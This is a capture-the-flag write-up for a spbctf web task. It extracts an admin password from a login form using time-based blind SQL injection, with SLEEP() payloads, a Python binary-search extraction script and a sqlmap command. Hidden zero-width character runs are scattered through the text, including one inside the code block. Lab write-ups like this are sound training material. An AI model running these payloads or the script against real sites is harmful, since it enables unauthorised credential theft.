← Back to Writeups
CUSTOMEasyWeb

Login (easy)

XESXOR9/10/20262 min read
#web#custom#easy#binary_search_extraction#sleep_injection#time_based_blind_sqli#linux

Login (easy)

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: binary_search_extraction, sleep_injection, time_based_blind_sqli

Summary

Task: Login form vulnerable to blind SQL injection. Solution: Time-based blind SQLi using SLEEP() function with binary search to extract admin password character by character.

Login (easy) — Web Kids 2.0

Description

SQL injection task in the "sqlmap" category. A login form vulnerable to time-based blind SQL injection. The flag is the admin password which needs to be extracted character by character using SLEEP() timing attacks.

URL: http://kslweb1.spb.ctf.su/sqli/logineasy/

Note: The extracted password needed to be wrapped in spbctf{...} format.

Analysis

The login form does not display SQL errors, making it a blind SQL injection scenario. However, the application is vulnerable to time-based attacks using the SLEEP() function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations:

  • Standard login form with username/password fields
  • No visible error messages (blind injection)
  • Time-based injection works with SLEEP()
  • The admin password IS the flag content

Solution

Step 1: Confirm time-based injection

Test with SLEEP() to confirm vulnerability:

sql
admin' AND SLEEP(5)--

If the response is delayed by 5 seconds, time-based injection is confirmed.

Step 2: Extract password length

sql
admin' AND IF(LENGTH(password)>10, SLEEP(3), 0)--
admin' AND IF(LENGTH(password)>20, SLEEP(3), 0)--
admin' AND IF(LENGTH(password)>30, SLEEP(3), 0)--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Binary search extraction

Extract each character using binary search for efficiency:

python
#!/usr/bin/env python3
import requests
import time

url = "http://kslweb1.spb.ctf.su/sqli/logineasy/"
password = ""

for pos in range(1, 50):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"admin' AND IF(ASCII(SUBSTRING(password,{pos},1))>{mid}, SLEEP(2), 0)--"
        
        start = time.time()
        requests.post(url, data={"username": payload, "password": "x"})
        elapsed = time.time() - start
        
        if elapsed > 1.5:
            low = mid + 1
        else:
            high = mid
    
    if low == 32:
        break
    password += chr(low)
    print(f"Password: {password}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"Final: spbctf{{{password}}}")

Step 4: Using sqlmap (alternative)

bash
sqlmap -u "http://kslweb1.spb.ctf.su/sqli/logineasy/" --data="username=admin&password=test" --technique=T --dump

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍